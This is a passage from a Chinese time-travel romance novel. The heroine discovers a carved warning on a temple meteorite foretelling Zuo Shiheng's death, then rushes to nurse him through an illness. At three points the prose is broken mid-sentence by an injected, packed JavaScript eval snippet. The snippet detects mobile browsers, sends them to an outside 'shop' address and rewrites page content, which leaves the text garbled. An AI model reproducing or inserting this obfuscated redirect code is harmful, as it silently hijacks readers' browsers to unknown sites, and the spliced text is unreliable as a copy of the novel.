“那……”他平缓气息,语气低软温和,“若是不困,再陪我待一会儿,好吗?” 安声点头:“好。” 两人坐在窗下,迎着月光烛火,左时珩向她解释了最近在忙什么。 去岁夏季宜州洪涝冲毁了一条新修的堤坝,淹了无数青苗,当地州府与河道衙门被问责,向工部申请修缮,工部派了人过去监察,于年底补修完毕。可今年春汛,再次堤毁田淹,皇帝震怒,宜州各衙门相互推诿,推责工部,言去年修堤,工部派人验收无误,不关他们的事。 于是工部必要向上作出合理解释,且当务之急,是泄洪堵缺,再派人重修,其中涉及多部门合作,实在繁琐麻烦。 左时珩说河堤两次被毁,到底是筑堤衙门贪污受贿还是别有原因,也须尽快核实,但懂水利的高级官员不多,左侍郎张为是张大人算一个,却正好离京去了外地,暂时赶不回来。 若照往常,左时珩本该亲自去的,但他如今……并不愿意,便派了都水清吏司主事于群动身前往,于主事虽也懂些水利,却不精通,且职级威严不够,到了宜州,各衙门依旧塞责敷衍,他左右为难,不得不一封封疏文发到工部,请示左时珩意见。 宜州虽不算太远,可到底信件来回须得三四日,而形势瞬息万变,又是春忙时候,便推进得十分艰难。 安声认真听罢:“原来是这样,怪不得你忙成了这样呢,都说能力越大责任越大,左大人,你就是太优秀了,这个国家没你不行。” 左时珩被她逗笑:“抬举我了。” 安声道:“真的,我要是皇帝,等你从宜州回来,我就给你大大的奖励。” 左时珩神色微怔,缄默片刻,问她:“安声,你是希望我去一趟宜州吗?” “我知道你不去是因为我在家,你放心不下,不过你也可以相信我,作为一个成年人,我完全能照顾好自己,何况,我这段时间在家里也无聊的很,已经想好去处了。” 她与左时珩说起上次林雪同礼物一道送来的那封手书,里面提及她从前常去的那座京郊天外山,如今人间芳菲已尽,山中却是漫山桃李,约她有空一同前去小住。 她当时回信说再考虑,如今却正是好时候。 左时珩听罢,良久不语。 安声问:“怎么了?” 他摇头,若无其事地笑道:“那座山上有一座山寺,叫做来客寺,寺中大雄宝殿后另有一正殿,供奉的是块石头,据说来自天外,几十年前……” 他略顿了顿,才继续说完:“坠落在云水山。” 18.诡石 悬挂着“陈”字灯笼的马车慢行在官道上,车轮辚辚,扬起灰尘。 马车里,两个衣着华贵的年轻女子挨着坐在一起,一路聊着天外山。 林雪说:“这儿啊,以前不叫天外山,叫天长山,皆因那块大石头供在山上寺里,才附和着改了个名儿。” 原来如此。 安声眉间微松,不过心间迷雾依然未散。 起初林雪在信中只提及了“天外山”,她不知有什么,左时珩后跟她说了“来客寺”,她才觉得诡异。 天外来客,指向性如此明显的一个词,难道只是巧合? 天底下的巧合未免也太多了。 尤其发生在她身上的。 所以林雪这会儿解释天外山是后来改的名儿,的确让她紧绷的神经松弛了点。 看来,至少这一点,的确是巧合。 左时珩那晚同她说过,那块大石头曾于几十年前坠落于云水山中,那时是大丘晟宁帝登基第三年,以为神迹,便差人运出,奉于郊外天长山新修的一座寺里,寺原先也有个名儿,不过因这块石头改叫来客寺后,倒也没人记得从前叫什么了。 林雪说“她”从前常去。 安声已知那位“安声”与她一样来自现代,那么她常去天外山,难道是为了那块石头不成? 又或者,她五年前不是消失,而是通过那块石头找到了回家的方法? 安声思维忍不住发散不止。 可她又觉得不对。 若是回去了便说回去了,为何“她”又会告知左时珩,她会在安和九年再次出现呢? 显然,“她”并未出现,来的是她。 莫非,“安声”早就知道,出现在云水山的,会是……她? 安声莫名打了个寒颤。 “怎么了?冷吗?”林雪抖开一块毯子裹在她身上,“山里是要更冷些,可别着凉了,回头左大人要怪我没照顾好你,不让你出门了。” 安声笑笑,道了声谢,拥着毯子靠在摇晃的马车壁上,继续沉思方才的问题。 她有一事不明,既然那位穿越者前辈什么都知道,为何不给她留下些话解释明白呢?叫她如今完全云里雾里。 马车行至半途,临时停下,打断了她的思路。 林雪掀开帘子问怎么了,有婆子过来说小少爷在后面那辆马车上睡醒了不安分,正闹着要娘亲呢。 林雪头疼,叫奶妈把孩子带过来,又对安声无奈道:“我管不好孩子,宝儿若是闹得你不爽,你便去后面坐吧。” 林雪的儿子陈方泽,小名宝儿,今年五岁,正是人嫌狗厌的年纪。 听她这话,安声不禁用同情的眼光望着她。 她想到爸爸与再婚的那位阿姨生的儿子,便是被惯得无法无天,三四岁就会用手机充钱打游戏,五六岁满口网络用语,毫无礼貌规矩,后来有次和人抢东西时,不小心将胳膊摔折了,才勉强安分了两个月。 她那时听说了,心里还有些不太道德的幸灾乐祸。 很快奶妈将宝儿抱上马车,林雪将孩子接在怀里,那孩子乳臭未干,满脸泪痕,鼻子嘴巴像林雪,模样倒有些可爱。 林雪拿帕子给他擦脸,他动来动去,十分不配合,哼哼唧唧地,又忍不住好奇地看着安声。 “宝儿,叫人,喊姨。” 孩子在她怀里扭动着喊:“不要不要不要……回家回家我要回家……” 林雪制止不住,焦头烂额,不由歉疚道:“安声,他怕是没睡好,所以闹脾气呢。” “怪我,我说陪你小住,又舍不得孩子,孩子小,也离不开我,故而带他一起出来了,早知道还不如留他在家里。” “陈方泽!” 安声被小孩吵的心烦,忽然喊他大名。 孩子一愣,抬头望了安声片刻,嘴又一咧。 “你再哭!你再喊!”安声低喝,冷眼用手指着他,“我数三声,三、二……” 一声比一声严厉,目光更是冷峻。 车内小儿哭闹瞬间止住,害怕地望着安声,撇着嘴直往母亲怀里钻去。 林雪简直傻眼。 遂朝她缓缓竖起大拇指,满眼钦佩:“安声还是你厉害。” 安声后知后觉,讪道:“我可能有点凶吓到他了……” 林雪笑道:“不妨事,反正孩子小不记仇。” 又感叹道,当初皆因岁岁和阿序,才那般期待自己的孩子,谁知安声那两个是小神仙,自己生的却是个混世魔王。 天外山比云水山近得多,山中景色也秀丽得多,因云水山无寺无庙,少人涉足,故而当年那块石头降在山中,才被运到了天外山。 来客寺不算香火鼎盛,倒也游人不绝,不过不在节时,便冷清许多,林雪说,到底是看热闹的人多些,其实灵倒不怎么灵,还不如相国寺,因此百姓真有什么要求的,不会专门来此。 安声便问:“那‘我’以前怎么会常来?” 林雪随口玩笑:“我还想问呢,不过你处处与旁人不同,我已是见怪不怪。” 安声此次是跟着陈府车队,只带了穆诗,林雪因携幼子,奶娘婆子丫头侍卫什么的带了许多。 她们要来住,自然提前与山寺主持说过,寺中本就人不多,既有贵人来访,便闭了山门,只留一道小门供散客出入,另置客舍数间,请他们歇脚。 天外山除了这座来客寺,风景的确独秀,秋朝红枫似火,漫山遍野五颜六色地烧起来,仿佛霞光千里。 虽只四月,赏不到秋,山中桃李樱杏却比城中晚了半月,开得正好,是凋谢前的极盛之时。 披星峰上还有一处甘冽泉眼,化作瀑布小溪,取之烹茶,回味清甜。 若说不出京城却还能散心得来清静的去处,天外山榜上有名。 安声与林雪都是二品大员的女眷,因此才至山脚便被等候多时的寺众迎了上去,林雪忙着照顾孩子,安排下人,安声则迫不及待地往那立石殿一观了。 到底是佛教圣地,山寺虽因奇石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704868|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为主,却也盖不过大雄宝殿去,比正殿规模稍小,不过还是比其他菩萨的龛位气派多了。 安声提裙跨入高高的门槛,便望见了这块石头的全貌。 好大的石头。 眼前这位天外来客高约五尺,宽不足两尺,似金非金,似铜非铜,通体乌黑,却隐有彩光,形状奇特,整体仿若衣袂飘飘,临风而去的神祇。 与所有神像一样,石头前燃着莲花灯,添着香油,燃着檀香,下方亦摆了两个蒲团,以及一个功德箱。 若赶上殿内昏暗,的确像是一位神像立于此处,让人分不真切。 安声欲走近去看,陪同的两个和尚师父便拨开围栏,予她方便。 她伸手摸了摸石身,表面粗糙,纹路纵横,还以为是天然形成,再仔细一看,原来新痕旧迹层层叠叠,全是字,不过够不到的地方依然光滑如新。 师傅解释说有些贵人会在石头上留言,因不是神像,倒也无什么忌讳,端看个人喜好,又执了烛火给她。 安声道谢,借烛光细瞧,沿着石头转了一圈,至其身后某处时忽然大惊,失手跌了油灯。 不仅两位师傅被吓到,连在门外候着的穆诗也匆匆进来:“夫人怎么了?发生什么事了?” 火星被扑灭及时,狼藉也很快被收拾干净了。 安声退到后门门槛,斜倚门边,深吸了口气,几乎按不住胸腔里那颗狂跳的心脏。 “没事……”她盯着那半隐在暗中的石头,缓缓道,“一只小虫子落在我手上,把我吓到了。” 午后她在林雪院里陪她与宝儿玩了会儿,林雪也听说了此事,便问她缘由,她同样搪塞了过去。 只是白日所见始终在心头萦绕不去,仿佛一团阴云。 到了夜里,除了殿中长明灯不灭,其余各处灯火也都渐渐熄了。 今夜风清月朗,星幕低垂。 穆诗在隔间已睡熟了,安声却辗转反侧。 直至夜深,她蹑手蹑脚地下了床,没有惊动穆诗,走出了客舍,借一道月光往立石殿而去。 白日里怡然草木此刻犹如鬼魅环伺,山中尤其寒凉,她即便披了斗篷,仍是微微颤抖。 听说庙宇山寺,白日里阳气旺盛,鬼怪避之不及,入夜后却是百鬼夜行,群魔乱舞,传说不知真假,总之是骇人听闻。 安声全凭一点探知欲,才硬提了几分勇气,半夜出门。 她特意绕过了各大佛菩萨门前,提灯推开了立石殿的木格雕花侧门。 风,烟雾似的挤了进来,如影随形,摇晃着烛火。 她的影子在明暗中若隐若现,仿佛被扯得支离破碎。 直到她又站在了那块石头的背面。 火光贴近,映出柔和温润的眉眼。 安声细细观摩,在无数“一游”“题诗”“姓名”“祈愿”之间,她再次看清了那句话。 那句用英文刻写,惊得她打碎灯盏的话。 “第十一次,又是安和九年,左时珩死,重来。” 19.回转 林雪和安声原是说的在天外山小住三五日,是为她散散心,毕竟病了五年才回,又忘了前尘,她怕她心里负担重。 不过这三五日,安声在天外山不但没有放松,反倒愈发心事重重,精神不济,实在叫她奇怪。 她担心得很,私下里拉了她单独问,可是遇上什么事了。 安声也不知怎么解释,只得说没有。 她不是个好演员,无法在有心事时装出一副风轻云淡的样子。 见林雪不高兴,她便说,是想在那块奇石上找自己的题字,却没找到,说自己本想藉由此记起些什么,看来徒然。 这话也并非全是假话,她夜间在立石殿,烛火昏残,在密密麻麻的字里面,除了那一句令她寝食难安的,她尚未找到别的“安声”的字迹,或许她从前留过许多,只是被盖住了。 若是白日去,殿中虽光线稍好,但常有僧众和香客出入,她趴在基座上逐字寻找,未免有些过于怪异而引人瞩目。 林雪听罢愣了愣,遂松了口气,笑道:“原来为这事,为何不告诉我呢,我就说是同我生疏了。你从前的确刻过字,我也刻过呢,不过只是用小刀随手划上去的,只怕早就无法辨认了。” “让我想想……”她露出思忖之色,半晌,眼一亮,“是了,我想起来了,你刻的那句是‘字在石上,不会消失’……多奇怪啊,旁人都是写诸如‘平安喜乐’‘健康长寿’得多,你偏跟别人不一样,所以我这么多年还没忘了。” 字在石上,不会消失? 安声惊讶,确实很奇怪的一句话。 字面意思,自然很好理解,不过在这奇石上用刀划上浅浅一层,本就容易磨损,若被后来者覆盖的话,无法辨认,也等同于消失了才是。 为何要说不会消失呢? 她琢磨不透,又实在好奇,便决意实践一番,便又进了立石殿,趁殿中无人,取下发上金簪,抬手在石头腰部位置,简单划了一竖。 穆诗看的好奇:“夫人怎么不刻字上去?只是这样是何意呢?” 安声扯了个笑:“其实我也不知道,可能是好玩吧。” 她用指腹在新留下的那道划痕上磨了磨,痕迹立即浅了些,她便更不解了。 看样子分明会消失才对。 她略想一想,又在竖线上重重划了几道,加深了原本的痕迹。 石头坚硬,她直到手腕酸软,金簪也弯曲了才停下。 原先浅浅的一道划痕,如今更像个小小的坑,虽不太美观,却有些显眼。 安声长出口气,将簪子递给穆诗收好,心想过段时间再寻机会来天外山看看,她留下的痕迹会不会有什么变化。 眼见有几位善男信女从大雄宝殿出来,要往这边来,安声便打算离开,却在要走,余光忽然瞥见什么,不由猛地转过头盯着看。 顷刻,她再次贴近石头,手指摩挲在自己留下的那道划痕上,并沿着同样高度的位置绕着石头转了一圈。 有香客进来,注意到这里,奇怪地看过来。 安声迅速拉着穆诗从后门离去,步履匆匆。 穆诗一头雾水,见自家夫人气息急促,额有薄汗,神情也略恍惚,不禁担心地拉着她在一棵树荫处停下。 “夫人你怎么了?” 安声心跳如鼓,穆诗唤了几声,她才回过神,脸上血色已褪去大半,喃喃道:“同样的划痕……怎么会有七个……” - 在天外山小住了七日,陈尚书便派人来接了,说是女儿想念母亲与弟弟。 林雪听到来接的人这么说,便拉着安声道:“你听见没有?分明就是我们家陈律师想我了,可他啊,好听的话偏不说给我听。” 若非她能聪明意会,换个同样不解风情的人嫁他,便是两根木头相对杵一辈子了。 “安声,我真羡慕你啊,什么时候我们家陈律师也跟你家左大人一样,对妻子百般温柔呢。” 提及左时珩,安声不由眼中蕴上暖色。 说起来,她好久没见他了,真是有点……想念。 天外山一行,不仅迷雾未散,反倒是疑团更多了。 事已至此,安声只得暂时按下,先与林雪下山归家。 回到府上,虽有不少下人在前院,后宅倒是空荡荡的,她一时还有些不适应,连吃饭的时候都有些食不知味。 好在穆管家给她送来家书一封,是左时珩亲笔。 信中先是与她解释宜州决堤乃是当地州府与河道衙门不通水利,按图索骥,错误修建导致,若要牢固防洪,须重画图部署,拆除约三成,再打地基重新修缮,耗时较久,费工费力。又问她天外山一行如何,是否愉快,还说若是孤单,可接岁岁和阿序回家。 信的内容不长,用词简约,语义明确。 安声翻来覆去看了几遍,有些微微出神。 她不知怎么,想到林雪同她说的关于陈尚书的那句话,说他分明想她了,却偏偏不说出口。 那左时珩会不会也…… 安声脸热起来,忙合上信纸装回信封,拍了拍双颊绯色。 ……安声啊安声,你不要坠入爱河啊,两个世界的人是没有结果的。 因左时珩在信中并未提及何日归家,安声只好又去问穆山,穆管家说这样的事说不准,从前短则十几日,长则两三月也是有的,所以少爷与小姐才常住书院或永国公府。 安声不禁叹息,这么说的话,岁岁和阿序连留守儿童都不算,算是寄宿儿童。 不过左时珩与他们的母亲,却在极其有限的陪伴中,依然给予了他们全部的爱,将他们教导得如此乖巧懂事。 安声独自在宅邸又待了几日,照样每日练字赏花喂鱼,却提不起兴致,反而索然无味。 或许是之前左时珩在家时,无论再忙,每日都会陪她,让她变得贪心了,她虽有意逃避,却也不得不承认自己对左时珩的好感与依赖已无法忽视。 她耳畔似乎有一对天使恶魔,恶魔在左边说,谈恋爱怎么了,成年人之间你情我愿的事。 天使说,对啊。 安声:“……” 好在没等太久,穆管家又给她送来一封家书。 安声几乎是迫不及待地打开来看。 读罢,一股失落油然而生。 左时珩在信中向她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711305|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道歉,说事务繁多,只怕还要半月,并为她随信稍来一支在书中压过的琼花,她拾起时纸上还残留着淡淡香味。 安声低头嗅闻,却觉得更像是左时珩身上清冷的白梅。 许是料到她不会因自己孤独无聊就去接岁岁或阿序回家,左时珩便给岁岁写了信,让岁岁回家去住。 岁岁接了爹爹的信,才知爹爹去了宜州,只有娘亲一人在家,便于当日就回了家。 安声心下既不好意思,也十分感动。 岁岁一回,家里空气便活泼欢快多了,她与安声说起在国公府读书日常,说那位教导她琴艺的老师文瑶文先生,不仅弹得一手好琴,更精通剑术。 岁岁说,她是偶然发现的,因她琴弹得很好,文先生准许她试谈她的琴,她那把琴是前朝大师所作,似有上古遗音,她很喜欢。 她弹了一曲,无意瞧见琴中有剑,便寻了个机会,与先生坦诚,文先生起先紧张,而后犹豫着与她说了实情,并嘱咐她不可告诉旁人。 她言自己曾是江湖中人,有些仇家,即便入了乐坊,也习惯以剑傍身。 岁岁听得双眼发光,非但没有害怕,还请文先生教她练剑。 文瑶很是惊讶,问她缘故。 那时她坐在石阶上,说:“变得很厉害,就能帮爹爹娘亲分担很多事。” 文瑶笑笑,摸着她的头:“你这个年纪该无忧无虑,不该有这么多烦恼,烦恼都是大人的。” 岁岁认真道:“世上烦恼始有定数,我无忧无虑,爹爹娘亲便多忧虑,我多烦恼,爹爹娘亲便多轻松。” 文瑶实在惊叹她的聪慧贴心,也因此答应了她,愿意偷偷教她练剑。 岁岁与安声说这事时,还给她看自己的手,安声见她一双稚嫩小手短短月余便已磨出薄茧,不由心疼不已。 “其实老师说得对呀,世上的烦恼是大人的事,小孩子提前想太多,会少很多快乐的。” 岁岁眷恋地赖在她怀里:“我已长大了,只是在娘亲面前还是个小孩子而已。” 安声失笑。 翌日,是个雨天,小雨自前夜起便淅淅沥沥地下个不停,晨起院里潮湿弥漫,翠色更浓。 阿序匆匆赶回了家,竟不是叫家里来接的,而是自己租赁了一辆马车。 他奔来风芜院,发梢衣角皆被雨水打湿,携着一阵凉意冲进来,连声喊:“娘亲!娘亲!” 安声正与岁岁临摹字帖,闻声立即蹲下接住他。 “怎么了阿序?出什么事了?” 阿序气喘吁吁,焦急道:“娘亲,爹爹病倒了,如今在嘉城驿馆,我是从山长那里听来的消息。” “……什么?”安声诧住,“你爹爹信中说还在宜州并未启程啊。” 阿序摇头,几乎要哭出来:“不是的,爹爹夙夜忧劳,早便启程,只是行至半途忽然病倒,竟不能行,怕娘亲担心,所以才写信骗人。” “娘亲……”安声衣袖被轻扯了下,转头见岁岁豆大的眼泪滚落下来,“现在怎么办啊……” 安声思忖片刻,将两个孩子揽入怀中,柔声宽慰:“别担心,我去接你们爹爹回家。” 20.病倒 宜州双星河流经两府四州,其中贯穿宜州全境,是以农民灌溉重要水系,便是旱季也不会断流,正因水流量大,若遇上当年雨水多,便可能形成洪涝灾害,因此筑堤束水是重中之重。 往年宜州多发洪涝,常造成不小的损失,当地州府只得向朝廷申请灾年减税,后在户部工部的共同商议下,决定为当地拨款筑堤,一修便是三年,于去年正式完工。偏去岁雨多,正好发了洪,其中一段新修的堤坝被悍然冲垮,原先以为有堤为屏的百姓安心种下的青苗,全数淹没在泥沙之下。 不仅百姓与当地损失惨重,朝廷更是丢了面子,因此一番严查重判后,不少官员或降职或入狱。 之后朝廷勒令工部派去官员亲自监督,紧急修缮,不料完工后,今年春汛又再次出事,惹得龙颜勃然大怒。 去年被冲垮的那段堤坝与今年毁掉的并非是同一段,但头疼医头脚疼医脚之法显然无法解决问题,左时珩原可立即亲往,却因私心不舍离京,只得字字及时批阅指示,为案牍之劳形。 那夜与安声陈明后,他即刻动身前往,一路奔波,日夜兼程,五日行程,不到四日便抵达宜州。 至宜州后,更是片刻未歇,登山涉水,仔细查问勘探,力图尽快探明原因解决问题,赶回京城。 他发现筑堤虽有贪腐偷工之嫌,根本原因乃是当地河官缺乏水利、工程等专业经验,他们多是科举出身,熟读经史子集,往往习惯依赖于相关书籍,按图索骥,统一标准,而不善于因地制宜,导致某些地段的地基因重量不对而逐渐下沉,与其他堤段互相角力,出现倾圮,当洪水携万钧之势而来,便会瞬间发生倒塌。 他立刻着手重新规划,画图,给相关官员说清原由,陈明利害,并安排人抓紧修缮缺口、在洪水后及时拆除存在隐患的堤段,重新加固等。 连日来,左时珩一日歇不过两个时辰,因没胃口吃的也不多,本就孱弱,气血更是愈发消耗得快,在完成主要事宜后,返京途中便倒下了,被就近送往最近的嘉城驿馆养病。 因实在病重不能动身,他怕安声担心,便写了信回去,说自己还要在宜州再耽搁半月。 此事不是秘密,他病倒时,便有奏疏紧急送往京城,皇帝关切,派了之前就给左时珩看过诊的胡太医赶往嘉城。 而左序所在的松下书院,谈笑有鸿儒,往来无白丁,山长更是致仕的弘文阁大学士,自然也知此事,他们谈话时,被左序听见,焦急的假也来不及请,就去赁了辆马车飞奔回家了。 原先这样的事也不是没有过,只是岁岁与阿序年岁尚小,除了哭着担心爹爹别无他法,但如今安声在家,他们兄妹便好似有了主心骨。 穆山带了府上侍卫当日便护送安声赶往嘉城,因不知何时回来,便让阿序和岁岁还是先回了书院以及国公府。 嘉城离京城不算远,陆路一般不到两日,安声他们加紧赶路,当天半夜就进了城。 当地县官听闻是尚书夫人来了,于是亲自来接,并送她去了驿馆。 路上安声也是大致了解了下左时珩目前的情况。 他在嘉城已有五日,起初几日,昏睡多于清醒,这两日要好些,只是进食不多,药也吃不进去,总是才吃了不到半个时辰就全吐了。 加上这两日阴雨连绵,天气返凉,他旧疾复发,咳嗽加重,夜间无法躺下安睡,只能坐靠着才好受一些。 偏左时珩这样的人,睡不着不想办法休息,反而干脆挑灯处理公务,实在困极,才倚着驿馆那张硬硬的老旧木椅上阖眼歇一会儿,气得胡太医也顾不上尊重了,直接以医者身份多次训斥自己这位不听话的病人。 只是每次左时珩都笑笑,说知道了,一定注意。 他性格很好,似乎没什么脾气,却是最执拗的,决定的事就会一直做,旁人根本没有办法。 所谓在其位谋其政,左时珩凡事亲力亲为,甚至多做十倍百倍,肩上担着极大的责任,即便在失去妻子后心伤至深,也并未耽误过任何要事,入仕以来,功绩斐然。 因此,他年纪轻轻就被拔擢为工部尚书,朝廷上下却并无异议。 嘉城县令与安声秉明左大人的情况后,见安声沉默不语,不由惴惴不安道:“驿馆条件简陋,不过下官多次请尚书尊驾前往县衙歇养,尚书都拒绝了,实在并非下官不尽力侍奉……” 安声笑了下:“没关系,大人已经照顾得很周到了。” 她赶到驿馆时已是凌晨,不想劳师动众的惊醒旁人,就与县令说了尽量低调,简单收拾几间屋子安顿随从即可。 胡太医还未睡下,安声先去见了他,询问了病情,以及自己能帮上的忙,胡太医说,左时珩不久前才勉强吃了药睡下,请安声夜里多注意一下他的情况,若有什么不对的,及时差人叫他。 安声一一应下,才去看左时珩。 他住的屋子在驿馆最后,不大,同左宅比自然简陋得多,以一道四扇屏风分了里外间,外间加了张软榻,方便下人夜间歇着时时照顾,里间则是一张床,一张桌子,一把椅子。 因安声来,驿馆的下人便撤下了。 安声端了一盏烛台绕过屏风进了里间,里间窗户紧闭,药味清苦,浓郁至极。 她将烛台放在窗台边,借着昏暗光源轻轻走近,在床边坐下。 左时珩侧躺睡着,身上盖着两床棉被,呼吸轻不可闻。 这样的天,府上都已经换了薄被了,但左时珩似乎还是很冷,睡得不大安稳。 她借烛光细瞧他,他眉骨高,眉峰低,眉尾上扬,一副眉压眼的冷峻长相,平日不笑时,看着很是清冷,有些生人勿近感,不过他个子很高,安声与他说话时总是仰头,便只见到他垂落的眉眼里全是温柔笑意,从不觉得他清冷。 他像雪,走近了却是春水。 他现下这般闭眼睡着,安静得很,睫羽长而浓密,鼻梁高挺,实在好看。 只是两颊消瘦,脸色苍白,唇瓣也干燥,完全一副病容。 安声说不上自己一路奔波至此,在见到这样一个虚弱的左时珩时是何心情。 是心疼,是焦虑,是怜惜,是想到那句“安和九年,左时珩死”,忽然就落了泪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16716139|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她低下头,用手背拂着泪水,不敢发出声音。 不过,她才有些庆幸左时珩这会儿睡得还好,下一刻他便忽然急咳起来,身躯仰起,被子滑落,他人也几要向床下倾去。 安声吓了一跳,几乎是下意识接住了他,他趴在安声的臂弯里,咳得胸腔都在震动。 安声忙拍着他后背,将他扶好,让他趴靠在肩头,直到渐渐缓过来。 听得他在耳畔气息急促,却又不似醒来,安声不由唤他名字。 “左时珩?” 半晌,她才听见一声嘶哑却迷蒙的回应。 “嗯,阿声……” 他似乎半梦半醒,将她当作了亡妻,往她颈窝处蹭了蹭,又低低喊:“阿声……” 声音极轻,仿若梦一样缥缈,却掩不住颤抖,听来有些哽咽。 暖光暗暗的,从侧面照来,他们的影子映在墙上合二为一。 安声看不见左时珩的神情,只听清了他无法言说的哀伤与极深的眷念,她抱着清减至此的左时珩,仿佛怀中唯剩一副骸骨而已。 不知为何,或许是因为共情,在这一刻,她竟哭得不能自已,于是拥紧了他,回应他道:“是我,我在这里。” 听见她的声音,左时珩更是出于本能反应,将她紧搂在怀,又有些孩童般的不安,在贪恋她气息与体温时,一遍遍喊她名字。 安声若没有回应,他便更加恐惧,祈求一般地重复着:“不要走……不要走……阿声……” 安声便抚摸他的发:“没有走,我就在这里。” 他这才放心,乖乖嗯一声。 真是从未见过他如此,在安声印象中,他始终温和沉稳,有时严肃,但可靠,强大,万事周全。 看来,他是强撑太久,只会在妻子面前坦诚脆弱。 她想,左时珩在迷迷糊糊间,认错了人。 但她私心作祟,不想为了一点自尊而在此刻残忍推开他,惊醒他。 或许出于她的安抚,或许是左时珩已然倦极,他就这般靠着她睡着了,气息悠长,比方才安稳许多,不过偶尔轻咳一声。 安声拥着他坐了许久,直到灯花哔啵,烛火跳跃,蜡烛燃尽,屋内昏暗得如笼在阴云之下。 窗外又下起雨,滴滴答答,敲打檐瓦。 她小心扶着熟睡的左时珩躺下,盖好被子,将窗推开了一道缝隙,水汽寒凉,透过窗缝侵蚀着她的指尖。 黎明之前夜色最浓,目光探出,如同行在墨中,上下混沌,不见万物。 安声没有分毫睡意,她心口发闷,有些透不过气。 那句刻在石上的话始终在她脑海里盘桓不去。 左时珩……会死在安和九年吗? 第十一次重来,重来…… 重来又是什么意思。 什么重来?何人重来?因何重来? 她深吸了口气,清苦的药味随空气灌入肺腔,让她清醒了些。 她隐约有些荒诞的猜测,却又仿佛依然身在迷雾之中。 “安声”,会是,另一个——她吗? 21.入梦 天才蒙蒙亮,左时珩便咳醒了。 虽只睡了几个时辰,却是他这段时间睡得最沉最长的。 清晨,雨已停了,不过依旧是阴天,外面刮着风,有些冷。 他感到被子里有些凉意,身子也发冷,因而胃里一阵反酸,十分想吐,只是没吃什么,也吐不出来。 他强撑着坐起,准备下床倒杯水喝,已有人匆匆走近,坐到床边扶着他:“来,先喝点温水。” 左时珩怔了怔,忽然转头,似乎不可置信。 慢慢的,眼尾泛出一片绯红。 安声见他发愣,便知他昨夜的确不大清醒,以为是一场梦境,或许醒来什么也没记得。 她笑了下:“喝水啊,左时珩。” 左时珩竟都忘了去接水杯,而是就着安声的手喝了几口,润了润干燥难受的咽喉。 “喝完。”安声说,又问,“还要吗?” “……阿声?”他蹙起眉,嗓音嘶哑,几不成形。 不过清醒过来,便又改口:“安声?你怎么会……出现在这里?” “不欢迎我?” “我……咳咳咳……” “我开玩笑的。”安声赶紧将杯子放下,拍着他后心,待他稍缓一些,才说道,“不过你写信向我隐瞒病情一事,我还是有点生气。” 她起身去外间提了茶壶进来,又倒了杯水,将缘由简单解释了遍。 “……阿序和岁岁都担心的不得了,所以,我来接你。” 左时珩唇瓣翕张,欲言又止,到底没将想问的话问出口。 他温声道:“抱歉,是我考虑不周,让他们担心了。” “还有我。” “……什么?” “我也担心啊。”安声注视着他,叹了口气,“特别特别担心。” 左时珩望着她不语,眸中似有薄雾。 半晌,他低下头笑了声:“嗯,抱歉,让你也担心了。” “我明白你的想法,岁岁阿序还小,除了焦急难过也做不了什么,但至少不要瞒着我,可以吗?” “好。”左时珩轻笑应下,“下次不会了。” 他又解释:“其实这次只是太累了,病倒没那么……” 安声温热的手轻轻贴在他额头上,叫他仿佛被定住似的,话都忘了说,完全怔了。 “还好,应该没发烧。”安声松了口气,又握了下他的手,“怎么这么凉?” 不待他回答,她便伸手摸摸被子,皱眉:“我就说呢,连日阴雨绵绵,驿馆里的被子大约许久没晒了,都发潮,即便盖两床也不会暖和的。” 她连忙去外间将昨夜县令让人送来的新被子拿来,换下了其中一床,另一床就在床头叠起来,让左时珩靠着。 她将干净蓬松的被子在他身上盖好,又想到什么,便动作一顿,扯出左时珩的手臂,挽起他衣袖仔细检查。 左时珩甚至都没反应过来,又或者,他私心贪图她的关心,不舍得拒绝。 果然,安声在他手臂上发现多处擦伤与淤青,有些已经结痂,有些伤口还是红的,至于淤青,更是大片,向上蔓延。 她指尖的触感让左时珩微微战栗,气息也略急促。 于是他不得不克制着,通过别的话题转移注意力。 “安声,你是昨夜到的?” “对。” “昨夜……” “昨天……” 两人几乎同时开口,安声停下,示意他先说。 她猜到他大概想问,昨夜是不是做梦,她打算如实告知,这方面,她没什么好瞒的。 谁知左时珩却歉声问她:“昨夜那么晚才睡下,今又这么早醒,是不是我吵到你了?” 见安声不语,他叹道:“因着了凉,所以咳疾复发,不妨事,过几日便好了,而且有胡太医在,无须人特意照顾,你若与我住一个屋子,不但药味难闻,夜间咳起来,也会让你睡不安稳,于我更是心下难安。” 安声准备的话全堵住了,于是沉默地在床边坐下,盯着他,一直盯着他,盯到他有些无措,她才慢悠悠开口。 “手……” “嗯?”左时珩不解,却照做了。 他坐直身子,将双手向上平摊,伸到她面前,神情竟有些乖巧。 安声忍不住笑。 